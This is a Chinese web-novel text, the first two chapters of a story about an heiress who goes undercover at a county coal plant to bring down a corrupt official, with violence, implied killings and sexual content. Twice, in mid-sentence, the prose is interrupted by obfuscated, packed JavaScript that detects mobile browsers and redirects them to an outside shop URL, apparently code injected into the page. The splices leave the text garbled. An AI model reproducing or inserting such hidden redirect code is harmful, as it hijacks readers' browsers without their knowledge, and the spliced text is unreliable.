《以她为名的阶级之下》 1. Chapter 1 暑假的第一个月,获县这边俨然热成一个小吐鲁番。新区这座煤厂更甚,井下作业不算凉快,办公室里还只挂有一个半死不活的老吊扇,嚯剌、嚯剌地慢摇轻晃。 能有幸被空调16°的冷气扇一耳光,此刻已成为社畜被热死前的终极幻想。 李女士把成绺的刘海拨开,继续跟身旁这位新来的实习生讲解工作事项。 台静怡瞥了眼李女士胸前挂着的工牌—— “人事,李欣。” 李欣仍喋喋不休,台静怡没再看她,拿起手机回消息。 上海那群朋友拉她进了一个微信群,群名叫“全世界的女S联合起来”。说是怕她下乡视察无聊,即使相隔两地,吃喝玩乐的消遣也要同步传递。 群友问:“大小姐,手里新到一批好货,要不要给你空运过去?” 并发送一张图片,配图里是一排穿着男仆装的男模。 台静怡回:“不用,最近没空。” 朋友请她消遣,可坐高铁来获县前,她就已经枕着一个男人的大块胸肌,玩得尽兴。 那男的在她手机里的备注是“大罐草莓奶宝贝”,叫他宝贝没额外心思,纯属不记得他的名字。 登上高铁后,她给此男发了条消息——从别处复制粘贴来的,因近期使用频繁,现已成为手机输入法的快捷短语之一。 “人生有梦,各自精彩。自相识以来,我们已用419的方式相伴过许多个日日夜夜。但聚散终有时,有朋自远方来,又赴远方。感恩过去所有,未来仍是家人,有缘再见!” 随后,在聊天框顶部尚在显示“对方正在输入”时,台静怡果断把此男删好友拉黑。 现在她进入贤者时间,回完消息,把手机息屏。 李欣领台静怡走到一张办公桌旁,说:“静怡,这里就是你的工位。” 话落,她把胳膊背过,捏住汗津津的衬衣,来回拽了拽,让后背短暂得以呼吸。 她几乎要融化在夏天里,整个人像一捆被扔进腌菜缸的蔬菜,被盐杀得一个劲脱水。 李欣借着余光瞄了眼台静怡,先瞄到一个瓷白的下巴颏,白得没有血色。 李欣又看一眼。 台静怡个子高挑,李欣目测她的身高约为170cm。高个子往往是低头看人,台静怡却朝上剔着下巴颏,有种睥睨一切的孤傲。 李欣不禁多看几眼。 黑长直,短袖长裤,皮肤白皙,肌肉紧致。酷热的天气里,她没出一点汗。 不像找工作的实习生,像下乡采风的文艺片导演。抱着臂,倔强站在一旁,像一篇有筋骨的散文诗自由散漫开来。 紧接着,行走的散文诗出声念道: “我不喜欢被叫作‘静怡’,你可以叫我的小名,棠棠。” 咬字也格外有味道,宛若文艺片落幕时的旁白。 台静怡并不在意工位,“我要见刘总。” 她口中的“刘总”,是这座煤厂的老板。 李欣不解,却伸出手指,指向对过高楼最顶层的一个大包间。 “他在那儿。” 朋友说台静怡此行是“下乡视察”,的确不假。 近两年,获县大搞环境建设,因此几座半吊子化工厂、煤矿厂接连倒闭。新区这座煤厂,被上头某位护着,短期内倒闭不了。 台静怡打着实习的名义,潜进这座煤厂,是想助力让那位上头领导落马。 总之,她是来搞事的。 简单交流过,台静怡便准备往刘总所在处去。 抬起脚,远远听见屋外一片混乱。 精神小妹扇人的巴掌声,精神小伙吐痰的“咳噗”声,混杂着两元店特有的廉价香水味,抽烟的劣质烟草味,一齐朝台静怡扑来。 获县这样的三十八线小县城,最不缺小混混。 但台静怡没想到,这里的小混混还能把欺凌那一套带到煤厂里。 李欣的脸色很难看,“实习期间,见到外面那群人一定要绕道走。” 台静怡觉得好玩,“他们有什么背景?” 李欣说,那群人里,为首的女生是刘总的女儿,职专在读。现在放暑假,女生用强收厂里工人保护费的方式来挣零花钱。后面跟着的那几个男人,是女生认的道上的“大哥”。 “那几个男的,都是没档案的临时工,在厂里是三天打鱼两天晒网的闲人。但他们是当地的黑恶势力,据说一直为上头办事,常年横行霸道。咱们惹不起这些人。” 说着,李欣绕到台静怡身前,声音低而快。 “棠棠,你先别出去,躲在这儿。” 台静怡扬起嘴唇,笑得令李欣惶惶不安。 “你被他们欺凌过?”想着那群人的背景,台静怡转而说道:“太好了。” 李欣:“啊?” 台静怡:“我是说,进厂第一天就能遇见这群人,简直再好不过。” 台静怡心里已然形成一个计划,对此,李欣毫无察觉。 只是觉得,台静怡说的每句话都令她难以解构。 李欣愣了下,就是这一愣,让她们俩错过了反锁屋门的最佳时机。 “哐——” 屋门被一个黄毛女生暴力推开。 黄毛女先朝对过的大哥们吼道:“你们先去揍那栋楼里拖欠保护费的人,这边让我来。” 转过头,黄毛女闯进屋里。 “李欣,你有几个月没交保护费了?一找你就躲,死妈玩意儿,看我今天扇不扇你!” 台静怡把李欣拽到身后。 因身高差距,黄毛女不得不抬头看台静怡。 “你?新来的?”黄毛女约莫是被韩剧腌入味,见到台静怡的那一瞬,有被美到恍惚。 一时飞快用韩语嘟噜道:“真的疯了,这种脸蛋程度真的不是天才么,做到这种程度的欧尼完全是神吧。” 随即反应过来,记得自己是来收保护费的。 “新来的,不知道进厂要先交保护费?你也是个死妈玩意儿。” 台静怡的眼神“唰”地冷了。 黄毛女不多说,迈着气势汹汹的步伐,准备先把李欣扇个半死。至于这新来的大高个,能扇则扇,扇不动就让大哥来扇。反正能来这个厂工作的,非贫即穷。闹出事赔点钱,事就过去了。 李欣已经做好与台静怡一起进救护车,躺病床养伤的准备。毕竟台静怡虽高,瞧着却不像会打架且能打赢的样子。 哪知黄毛女才刚凑近,台静怡就揎拳掳袖,利落抬腿,小腿朝前一旋,狠狠踢中黄毛女的腹部。趁黄毛女吃痛倒地,台静怡又揪住她的头发,带着她的头往墙上撞了两下。 台静怡松开手,手里躺着一小把发尾分叉的黄色头发。 李欣看呆了,目光移到台静怡的胳膊上。瘦而紧致的女生,原来胳膊上都是肌肉块。 台静怡没想到黄毛女这么不经揍。学的拳击招式还没用上,黄毛女竟已无力还击。 打得不过瘾,台静怡只好用几个耳光收尾。 “啪——啪——” 黄毛女脸上立即浮现出鲜红的巴掌印,痛得连连嘶气。 竟已痛到走马灯的境地,眼前闪过的不是韩剧片段,就是躺着数保护费的画面,还有这个新来的实习生的漂亮脸蛋。 黄毛女伸手摁着头顶,只觉自己的头皮都要被台静怡拽下。 “西八,长这么美,手劲竟然这么大。”黄毛女有气无力,“新来的,你知道我爸是谁吗?看我爸整不整死你。” 台静怡笑道:“我没有好为人父的癖好。” 正说着,外面忽然一阵躁动。 李欣脸色旋即一变:“那群男的朝这边跑过来了!” 她已见识台静怡的实力。但那群大哥大,各个都是花臂壮汉。台静怡能打得过一人,难不成还能1vN跟人群殴? 台静怡却岿然不动。 李欣面露惊诧:“棠棠,你还想跟他们打架呀?他们是道儿上的!” 隔着一扇窗户朝外看,远处有五个花臂男正朝这处奔来。 台静怡记下那五人的面貌。 停了几秒,台静怡猛地擎住李欣的胳膊,带着不容抗拒的力度。 “跑!” ** 李欣这辈子从没跑得这么快过。 一边跟随台静怡,不知要跑到哪里;一边被台静怡的黑长直扑簌簌地扇脸。 身后嘈杂不断,李欣却只顾得想两件事。 其一,原来心甘情愿被女人扇脸时,会先感受到女人的香气,然后才是感知到原来自己被扇了。香气充满鼻腔的那一瞬,脸上被发丝扫过的瘙痒与微痛,都成了一种不可告人的爽。 台静怡的发香,闻着是一种优雅又昂贵的洗发水味。 其二,吊桥效应的定义。当一个人因所处的环境而心跳加快,此刻若遇上另一人,就会把这种心跳加快的感觉当作对另一人的“心动”。 心动在心跳加速中培养,换而言之,心跳加速约等于心动。 不过李欣很快把这两件事给否掉。 其一,她其实是想要台静怡同款洗发水。其二,她是直女。 等再回过神,只见台静怡已将她拉到刘总所在的那个大包间前。 台静怡带她去了厂里最安全的一个地方——老板所在。 花臂壮汉不被允许直达这一层,即便他们是道儿上的,甚至跟上头有联系。 李欣双手叉腰,气喘吁吁。 台静怡却气定神闲地开口:“你在外面等我。” 包间前有两盆发财树,旁边挂有几个摄像头,明晃晃地监视着。 台静怡走上前,把两盆发财树踢倒。又准确无误地输入密码,解开门前的密码锁,慢悠悠地走进包间。 李欣目瞪口呆。 ** 刘总,大名刘万里,此刻在包间里看着监控,汗流不止,苦不堪言。 倘若他提前知道,今天来的小实习生竟是这位祖宗,那无论如何,他都得先把发财树搬到屋里。 “刘总,好久不见。” 进了包间,台静怡拽出一把崭新的高奢老板椅,潇洒坐下,脚蹬在刘万里的办公桌上面。 上次见刘万里,还是在一个party上。那时刘万里跪在地上,舔人家的鞋面,求着人家谈下某一桩生意。 今日会面,刘万里身着西装,人模狗样。 “大小姐,您怎么莅临我这儿了?”刘万里奉上一个极其狗腿的笑容,尚没搞清她想做什么。 “我把你女儿揍了一顿。”台静怡礼貌笑了笑,“这个时候,估计她已经被送到医院了,约莫是轻微脑震荡,肋骨骨折。不算重,躺个十天半月的,就能养好。” 台静怡双手抱臂,语气惋惜:“只可惜,这十天半月里,没人能接替她的担子,继续去收保护费了。” 听到这里,刘万里就懂了。自家女儿乱收保护费,狗眼不识贵人,竟把手伸向这位祖宗。 “我脾气很好的,刘总不是知道吗?” 刘万里连连点头说是。 当初在patry上,他当狗的那副贱样被许多人拍下。他求爷爷告奶奶,最终求到台静怡这里,跪着磕头喊了几声“妈妈”,台静怡才勉强应下,大手一挥,那些人才删了图片和视频。 然而台静怡要说的不是那些陈芝麻烂谷子的事。 “我这个人呢,一向是人不犯我我不犯人。人若犯我,倘若不是原则性问题,笑笑就过去了。但,骂我妈妈可不行。” 这话指的是黄毛女朝她说的那句“死妈玩意儿”。 “骂我妈妈的话——” 台静怡眯起眼,没再说下去。 刘万里却听懂她话里的威胁,“噗通”一声,跪在她面前。 “大小姐,我就这一个女儿。我求您,给她留一条活路!她有错在先,现在已经得到惩罚。大小姐要是不满意,尽可以把气撒在我身上!” 刘万里抓住老板椅的椅子腿儿,极力哀求台静怡。 “只要大小姐想出气,让我做什么都成!” “那就把周书记叫来。”台静怡淡声说,“明天这个时候,我要在这个包间,见到周书记。” 刘万里眉毛官司打得精彩,“什么周书记不周书记的……大小姐,请您明示。” “就是你上头的领导,跟你一起狼狈为奸多年,市委里头的那个周书记。” 台静怡不满,“这么多年贪污受贿下来,难道你生活越过越好,反倒把扶植你的周书记给忘了?” 刘万里面如死灰。 “您,您怎么知道?” 台静怡不接他的腔,“你女儿的事就此掀篇。” 又起身道:“天干物燥的,稍一粗心,就容易出现矿难。刘总,我劝你最好提升一下工人的待遇。省得哪天工人联合起义,扯横幅骂你。” ** 在台静怡进包间说话期间,李欣攀着栏杆,目睹了楼下的最新动态。 见她出来,李欣赶忙把实况说给她听。 “老板女儿被抬进救护车后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249037|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那群花臂壮汉竟然走了!破天荒地没再找茬!” 台静怡心情很好的样子,拍了拍李欣的肩膀。 “今天就先这样,我要回家休息。明天是8点考勤吧?到时再见。” 第二天,厂里出了场小矿难,三位死相凄惨的死者依次被抬出。 李欣指着不远处的事故发生地,“厂里上次出矿难,还是在七年前。那次死了两个人,但县领导和厂领导极其看重,花大价钱引进一批技术人才,把各项设施都完善升级一遍,之后再没出过问题。” 台静怡望着那片黑漆漆的废墟,唉声叹气。 “是么,那真是可惜。” 李欣凑到台静怡耳边,“小道消息说,死的那仨人,是五个花臂壮汉里的其中三个。据说那仨人可惨啦,缺胳膊少腿的,身体碎肉炸得到处都是。” 感慨归感慨,李欣却并不担忧厂会停运,工作会丢。 煤厂里死几个工人是常有的事,这是所有煤厂工人的共识。 出了事,首先要看死者是正式工还是临时工。临时工,尤其是没档案的临时工最不值钱,就算死得再惨,也是一种廉价的死,无人在意。 再说,那仨人死得其所,算是恶人有恶报。 “总之这次算是一次小事故。才死了三个,领导拿些封口费随意搪塞一下,这事就过去了。”李欣说道。 “不过我真替你觉得晦气,上班第一天,才刚考个勤,就被通知要暂时歇班。” 台静怡只是笑了笑,依旧云淡风轻。 中午,她进了刘总的大包间里,仍往老板椅里一躺,把脚蹬在桌上。 刘万里这种不上档次的小领导,根本无法把日理万机的周书记请来。 台静怡只是用周书记给刘万里施压,但仅仅是施压,就足够令刘万里喘不上气。 “您有什么指示?” 刘万里的眼里熬出血丝,头发蓬乱。 “本次矿难真的只死了三个人吗?”台静怡悠然发问,“我总觉得,还有死者没被挖出来。刘总,建议你深挖一下。” 刘万里面目忽然扭曲起来,浑身发颤,“噗通”一声跪下,“砰砰”给她磕了几个头。 “祖宗,大小姐,求您别……您再宽限我几天,三天,就三天!三天后,我保准把周书记给您请来!” 台静怡:“我了解到,对于矿难,死亡人数在30人以上是特别重大事故,3人以上30人以下是重大事故,少于或等于3人算作一般事故。现在挖出了三位死者,恰在一般事故的死亡人数阈值上下。按理说,只要钱给到位,这次就不算什么事。这些事,刘总应该比我更清楚吧。” “就一天时间,明天这个时候,我还来关顾刘总这里。到时,倘若我没见到周书记的话——” “绝对不会!” 刘万里发毒誓保证。 昨天他没把台静怡的话放在心里,想着小姑娘嘛,惯会作威作福,掀不起大风大浪。却不想,今天他就为自己的无知付出代价。 怎么就忘了!站在他跟前的可是台静怡!但凡是涉点钱权的圈子,有哪个没听过台静怡的名字!那可是当之无愧的疯子坏种! 刘万里汗如雨下,接下来的每分每秒都在为“请周书记到厂”这件事做努力。 然而次日,厂里还是出了事。 发生矿难的地方,又挖出两具尸体,死状更为惨烈,几乎是两摊血红的碎糊糊。 事情蓦地从一般事故变为重大事故,网上舆论忽然炸开,数十媒体记者堵在厂外,挤挤搡搡地想要采访。 昨天的小矿难,让县领导到厂里严肃批评。今日的重大事故,甚至惊动了市委副书记李爱英,带着一众领导班,亲自来厂里询问情况。 消息传到台静怡那里时,她正待在工位,拿着电锯锯木头。 李欣走来,被电锯的“嗡嗡”声吓了一跳。 台静怡说:“我又被通知歇班。闲得无聊,干脆拿来隔间的木头来锯,想着做个小板凳当作消遣。” “都歇班了,怎么还不回家里躺着。”李欣想起要说的事,“矿难的最新消息,你听说了吗?” 台静怡随意“嗯”了声,放下电锯,专注研究几根木块之间的榫卯结构。 李欣:“那你也听说了电锯的事?” 台静怡:“什么电锯?” “刚挖出的两位死者,是五位花臂壮汉里的剩下两位。现场挖尸的人说,他们的死态,很像……很像先被电锯锯死,再扔进绞肉机里绞死。” 李欣盯着台静怡脚边的那个电锯。 “你怀疑是我趁夜黑风高,拿电锯杀人?”台静怡点破李欣的疑惑,“不会还怀疑这五个人都是我杀的吧?” 台静怡的唇角微微朝上剔起,几乎是笑着说话。 那笑令李欣不寒而栗。 “我家呢,算是小资家庭。有点小钱,不多,足够挥霍。可要杀那么多人,只有点钱还不够,还要有足够多的权力。我家可没有,不然我去享受生活不好么,用得着来这个厂打零工?” 台静怡站起身,一步一步朝李欣走去。 “再说,现在是法治社会,谁杀人都得坐牢。人要是我杀的,那我现在都要被判死刑了,哪还能在这里锯木头做板凳。” “平时少看点电视剧,省得整天胡思乱想。”台静怡说。 台静怡把手虚虚放在门把手上,没来得及开门,就听李欣说:“门前那片空地站着来视察的领导班。你先别出去,瘆得慌。” “什么瘆得慌?” “李书记来了,传闻中那个雷厉风行,长了双鹰眼,谁看谁害怕的大人物!要是出去,被她瞟了一眼,恐怕全身都瘆得慌!” 台静怡不屑一顾:“你真的该少看点电视剧了。生活哪有那么玄幻,这个谋杀那个瘆人的。” 说完,推门出去。 一群行政夹克恰好朝这边看过来。 李欣躲在台静怡身后,“怎么感觉他们都在看咱们?” 台静怡嗤笑:“错觉。” 不是错觉。 隔着人群,遥遥一望,李书记便把目光钉到台静怡身上。 李书记短暂瞟过一眼,旋即转过视线看别处,然而总有一缕余光在朝台静怡奔来。 在无人知晓的角落,远远隔着人群,台静怡朝那头的李书记递了个口型。 “妈妈。” 她确信李书记有收到她的口语,因为李书记摆了个只有她能读懂的无关紧要的小动作。 意思是——“私下找我。” 2. Chapter 2 自打那座煤厂被各种领导和媒体包围,台静怡再没去过厂里,风平浪静地在获县过了小半月。 她在老区租了栋小院,从外面看其貌不扬,院里头却是小别墅模样。 这半月来,她的作息很规律。 白天去对过那条街的姜家卤货店买卤货吃,夜里就想想将来的毕业论文定什么题目——两月后开学,到时她就是一名大四学生了。 想完论文题目,她就拽着身旁小狼狗的项圈胡闹。 小狼狗的皮肤是中规中矩的白,锅铲也是中规中矩的粉,不接受太夸张的玩法,一切都中规中矩到了无趣的地步。 小狼狗人如其名,长了个傻狗脑袋,经常问台静怡:“我们现在是什么关系。” 这日俩人在白天胡闹,小狼狗再次问出那句话。 不同于往常的是,他手里拿着一个u盘,眼尾泛红,声音颤抖。 “里面的内容我都看过了,是各种人被你踩着,那样、再那样……” 小狼狗说:“我不要稀里糊涂地跟你谈恋爱,稀里糊涂地被你甩掉,再稀里糊涂地成了u盘里的某个视频主角,视频名字还只是一个编号。我是你玩过的第几十个,还是第几百个?我们现在到底是什么关系,你不说的话,我……我就在网上挂你脚踏多只船。” 听他这么一说,台静怡油然而生一种厌倦感。 “挂我?那你去挂好了。然后煽动一场网暴,让千万网友为你冲锋陷阵。之后你美美地做几场直播带货,边诉说自己被渣女伤得有多惨,边吆喝:‘三二一,上链接!’” 台静怡换上一件吊带长裙,准备出门。 走之前,正好就如小狼狗所说,稀里糊涂地把他甩掉。 “你怎么爱我是你的事。你爱我,说明我有魅力。还说挂我,现在大家对这些事宽容度很高的。你留着被我渣的证据,对你来说是一种光荣。你要是戳穿,对你来说就是耻辱。” “再说你管我脚踏几只船。我喜欢你当狗的样子,这还不好吗?有什么事能比开心做狗更重要?还是你真觉得就凭你那点魅力,足够跟我捆绑到天荒地老?” “说什么辜负真心的都该死,多大点事就咯噔得要死要活。你的真心又值多少钱,我缺你这点真心?” 台静怡把一张卡甩在小狼狗脸上,“拿着钱赶紧滚,密码是6个8。” 小狼狗被她劈头盖脑堵搡一通,心里又气又委屈。 “给我钱是什么意思?嫖资?我不缺这点钱,跟你在一起也不图你的钱!不然,也不会从上海屁颠屁颠地跑到这鸟不拉屎的地方,陪你玩什么K8K9!” 台静怡把卡捡起,“不要拉倒。” 说着,推开屋门,半条腿迈出去。 “不过你想的对,你的确是个被嫖的小鸭子。” 说话时,不远处一座幼儿园的广播里,恰好在放一首儿歌。 “门前大桥下,游过一群鸭……” 门关上了。 小狼狗抓狂的声音被隔绝在无人在意的那一头。 ** 上门找书记见面,不算简单。但被书记找上门,又不算难。 出门才走几步,台静怡就被带进一辆车内。 司机眉宇间透着一股死板的正气,“大小姐,您迟迟不去找书记,书记急着见您……” 刚才骂小狼狗没骂爽,现在台静怡坐在后排,一搭一搭地嚼着口香糖,把气撒在司机身上。 “所以就出此下策,光天化日之下把我带走,玩绑架那一套?是不是还要在我头上蒙个袋子,把我拉到偏僻地,再水泥封尸?” 司机盯了眼车内后视镜,恰好与镜里的台静怡对视。 台静怡的下巴颏随着咀嚼的动作劲劲地晃着,看久了,只觉有一片白瓷直愣愣地往心里扎,眼前一片眩晕。 司机移开视线,“只要您愿意。” 不一时,车七平八稳地开到地——某片荒地里的某个荒芜建筑旁。 前头停着一辆与荒芜景象融为一体的小车,司机恭谨道:“书记在那辆车里等您。” 台静怡睨了眼遍地荒草,“背我过去。” 司机说是,把台静怡稳稳背着,中途被她笑话一句:“看来你太想进步了。” 看司机不回应,台静怡把胳膊环紧,大有勒死司机的趋势。 到地,车里的人把车窗摇低半面,“别总欺负你张姨。” 台静怡从司机背上跃下,亲昵地挽起司机的胳膊,“张姨,我有欺负你吗?” 司机摇头:“大小姐待我极好。” 脖子上却已浮现一圈红艳艳的勒痕。 才刚坐到副驾驶上,台静怡就水灵灵地被铁铐铐住手腕。 李爱英把车窗摇上去,身体前倾,鹰隼般的眼盯紧台静怡。 “说,煤厂矿难一事,跟你有没有关系?” 台静怡把口香糖挤到腮帮子旁,“妈妈,这么久没见,你不先叙旧,居然先说起公事。” 李爱英穿着行政夹克,利落的短发,利落的话语,利落的审问手段,俨然一副公事公办模样。 “调查组把煤厂查了遍,发现这座煤厂是上面领导贪污受贿的产物。厂里多年偷漏税,大小领导、会计和法人已被机关批准逮捕。至于那位上面的领导及相关公职人员,目前正接受纪律审查和监察调查。” 台静怡置身事外地“哦”了声,“看来周书记要一举落马了。” 李爱英不满意台静怡的回话,钳住她的下巴,掰开她的嘴,手指在她的口腔里鼓捣,把那枚口香糖取出,扔进脚边的垃圾袋里。 “把手铐解开吧,妈妈。”台静怡把头歪在李爱英面前,柔顺的头发蹭过李爱英的肩膀。 “跟我没关系,真的。”台静怡撒着娇,“我怎么会杀人呢?” 李爱英冷哼,给台静怡解开手铐。 铐得很紧,台静怡的腕骨已被勒出一圈淡淡的痕迹。 “周书记落马免职,妈妈不开心吗?”台静怡把脚翘在李爱英的大腿上面,“还有两个月,就是妈妈的生日了吧?这件事,就当作是一桩提前送给妈妈的生日礼物,好不好。” 李爱英盯着台静怡,像老鸟盯着窝里嗷嗷待哺的雏鸟,意外盯得出神。 “我们棠棠,今年十九岁了?” 台静怡说是。 李爱英的思绪不禁发散。 尽管台静怡叫她“妈妈”,但她并不是台静怡的亲生母亲。 年轻时她投靠台家,多年来,她被台家一路扶持着爬到现在这个位置。 十九年前,她的女儿和台静怡同一天出生。很不幸,女儿没活过满月。她便把台静怡认作干女儿,做了台静怡十九年的干妈。 像她这样的干妈有很多个。她们的女儿都死在同一年,又几乎都在同一时间段里,有幸拥有台静怡这个干女儿。 李爱英握住台静怡的手腕,“还是这么瘦。” 台静怡笑了下,“一直都有在练拳击,不是没力量的干瘦。” 李爱英目光复杂,执起台静怡的手腕,嘴唇凑在那里,轻轻落下一吻,干燥又温暖。 “妈妈很想你。” 李爱英从副驾抽屉里拿出一小瓶护手霜,指腹舀出一搓,涂抹在台静怡腕上被铐红的地方。 “妈妈是不是弄疼你了?” 台静怡说不疼,“所以妈妈喜欢这个生日礼物吗?” 李爱英:“当然。” 周书记,一直都是在台家跟前飞来飞去的一只苍蝇。除掉这个档次较低的宿敌,真是各方有各方的欢喜。 台静怡收回手腕,奖励似的抚了抚李爱英的耳垂。 “妈妈喜欢就好。” 说完正事,李爱英把话题引到台静怡身上:“你不在上海待着,跑到获县来做什么?周书记这事是恶人有恶报,但跟你是八竿子打不着的关系。老远跑这一趟,不会就只是想看他被抓进去吧?” 台静怡低头玩起手机,“还是因为那件事嘛……” 李爱英试探回:“老爷子催婚那件事?” 台家老爷子,也就是台静怡的姥爷,自打台静怡成年,就三天两头地催她结婚。所谓催婚,不是真的催她领证,毕竟她还没到法定结婚年龄。 老爷子式的催婚,是催她尽快定下另一半。 这几年老爷子身体不算好,眼见寿岁无多,就想在死前亲眼看见台静怡领来一个男人,对他说:“姥爷,这位就是我的正宫。” 哪怕随便领个男人演一场戏也成,可即便如此,台静怡还是百般不愿。 李爱英:“所以你才连夜跑到获县?离家出走?” 台静怡点头,“我在老宅听过获县的事。这次就当来散散心,顺便看一出好戏。” 事情恐怕没那么简单。 李爱英猜测道:“老爷子是不是还提到了你舅舅和叔叔?” 台静怡愣了下,随即点了点脑袋。 所谓“舅舅”,并非是台静怡的亲舅舅,而是她妈妈台君丽女士的义弟。 同理,“叔叔”也并非是台静怡的亲叔叔,而是她爸爸邢智勋先生的义弟。 当年台静怡父母因车祸去世,此后十几年,台静怡一直由一位舅舅、两位叔叔以及众多干妈合伙抚养长大。 李爱英猜测,估计老爷子是有意让舅舅当大房,另两位叔叔做辅助。 想到这里,她的思绪愈发清晰。 “我想,无论是躲避催婚还是看好戏,这都不是你来获县的根本目的。”她握住台静怡的手,“妈妈要把你的目的了解清楚,这样才能在每一个不跟你见面的日子里,活得心安,舒坦,才能不时时刻刻把心挂在你身上。” 她说你知道么,“半月前在煤厂看你的那一眼,让我一度以为是自己出了幻觉。你还没做过妈妈,不知道妈妈在想孩子时,简直能想到疯癫。” 雷厉风行的女强人,在台静怡面前,不过是一个再普通不过的母亲。 台静怡施舍般的,把手指塞进李爱英的掌心里。 “我的根本目的么……我想见舅舅。” 李爱英不解,“明明只要你一声令下,他就能立刻出现在你跟前。” 台静怡说那不一样,“我想见舅舅,然后让他跪倒,扇他一巴掌、两巴掌,直到把他的脸扇红扇肿。”谁让他不听话。 李爱英仍不解,但也许这就是小年轻之间的“极限拉扯”吧。 说到老家那些事,李爱英顺便把台静怡爷爷家的事一起说了。 “你姥爷和爷爷知道你来了获县,让我跟你传好多话呢。”李爱英笑道,“首先就是,姥爷问你,喝中药调理好了没有。” 台静怡她姥爷很奇怪,能完全接受开放型婚姻,却接受不了台静怡是个男女通吃的双性恋。 当初得知她谈了女朋友,姥爷坚定认为她是被鬼祟附身,又是做法事又是拿中药,势必要把她调理好。 台静怡:“就回我姥爷,我都调理好了。” 骗人的,其实她根本没喝中药,一直以来喝的都是可乐。 怕李爱英不信,台静怡又补充道:“真的,我连药方都会背了!我背给你听……” 接着两眼一闭,嘟噜一大串。 “蜈蚣半斤,蛇毒一斤,水蛭五只,明矾二两,活性炭半斤,雄黄一两,用罐器熬制一小时,要病患趁烧开时服下,每天三次。如果病患在一次之后仍然有生命特征,那就用药浴——食人鱼浸猪笼,药到病除!从此消灭同性恋!” 李爱英笑出声,“你爷爷给你寄的信,收到没有?他说,让你得空把他从微信黑名单里拉出来,给他发个小视频,他想看看你。” 台静怡说信已收到,“里面全是在写,南京颐和路别墅区里那些鸡毛蒜皮的日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249038|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常。” “那些忆往昔的光辉故事,连同他那些住在北京万寿路、府右街的老朋友的故事,从小到大,我都不知道听过多少遍,几乎就能倒背如流。所以我就让他讲点新的。” 于是爷爷就在信里写,奶奶养了几只小猫小狗,别家老太太、老大爷养了几只乌龟蜥蜴。的确是新事,但新得琐碎,仍不得台静怡喜欢。 “把他拉黑,是因为他总给我分享他钓了几只大鱼。我实在忍受不了一个骨灰级钓鱼佬的分享欲。”虽这么说,台静怡还是把爷爷从黑名单里拉了出来。 像爱豆在发泡泡营业一样,台静怡给爷爷发了个手势舞视频,配乐是“你对我好~我心里都知道~” 订阅她泡泡的爷爷已读秒回,虽然只回了一个竖起的大拇指,但台静怡知道,接下来一段时间里,爷爷将会不断朝人炫耀:“看我的乖孙女有多么多么好。” 给人传完话,李爱英又问了些私密话。 “你在这里,有没有交到新朋友?” 台静怡说有呀,“是个穷姑娘,叫李欣。” 李爱英点头,“防人之心不可无,你多提个心眼,辨清人家是真的想和你做朋友,还是纯粹在巴结你。” “在我到获县之前,李欣就已经打探到我要来这里的消息。她家里的情况,我已经了解清楚了。这样的穷人,如果不抓住机会向上攀爬,就只能一个劲地向下堕落。” 李爱英顿了顿,再问:“那你要在获县待到什么时候?” 台静怡耸耸肩,“舅舅什么时候来,我就什么时候准备走。” 瞧见台静怡促狭一笑,李爱英一下就懂了台静怡的心思。 “还想搞事?” 台静怡笑而不语。 等下了车,看见一个熟悉的司机停在一辆熟悉的车前。 “小程?”台静怡走到那个酷哥司机跟前,“你不待在铎叔身边,来这里做什么?” 小程打开车门,为台静怡系上安全带,随后上车。 “您来了获县,邢总自然也要跟来。目前他还没来,但也快了。” 台静怡口中的“铎叔”,是指邢铎,将她养大的两位叔叔里的其中之一。 至于小程,则是邢铎的专属司机。 台静怡:“铎叔不是在爷爷身边办事吗?” 小程一边开车,一边解释道:“邢老爷子见他心不在事上,就让他自己忙了。” 小程话音刚落,台静怡这边就接到一个视频电话。 视频里先出现一张帅得惨绝人寰的硬汉脸,带着蓝牙耳机,一副狐媚子模样。 接着镜头对准上半身的穿搭,机车皮衣掩着一对富有的大馒头。 台静怡:“铎叔,你不热吗?男人就得慷慨一些,一个字:脱。” 邢铎解下机车皮衣,把胸肌慷慨地展现在镜头前。 视频背景里,有人在弹三弦,悠悠扬扬地唱着“来到天津卫,嘛也没学会”。 “我在五大道这边买烧鸡,就是你爱吃的那家卢记鸡打鸣,待会儿给你带过去。” 刑铎主动报备,指着一旁的路牌,分享欲爆棚。 “你看这牌子上写的,‘想你的疯还是抽到了天津’、‘我在天津逗你玩’……现在的年轻人真会逗闷子。” 邢铎是老天津卫,不过跟着邢老爷子办事后,一直都在南京跑活儿。 这次来天津办事,他的状态简直是山顶洞人突然穿越到星际时代,一个劲地啧舌惊叹。 “你要来找我?”台静怡对邢铎说着,一面摸出一个控制器,打开开关,把档位调高。 小程立即弓起腰,红意从颧骨烧到脖颈。 看来这款带电眼镜蛇CB锁的威力不小。 她把手机举高,目光在小程和邢铎俩人身上提溜转。 帅脸旁边还是一张帅脸,当真赏心悦目。 邢铎低声嘟囔:“你这小孩,把小程都给霍霍了。” 又咳了声,“等买完烧鸡,我就买张高铁票,从天津西坐到获县东。去到那里,估计都晚上了。” “你来获县干嘛,当我的小白脸啊。” 台静怡的手指在小程的大腿上揩来扫去,小程小声哀求:“大小姐……姐姐,别这样。” 台静怡“啪”地扇了下小程的侧脸。 “不要脸。年龄比我大,还叫我姐姐呢。” 邢铎被她的话逗笑,“小程开车呢,你注意点玩。” 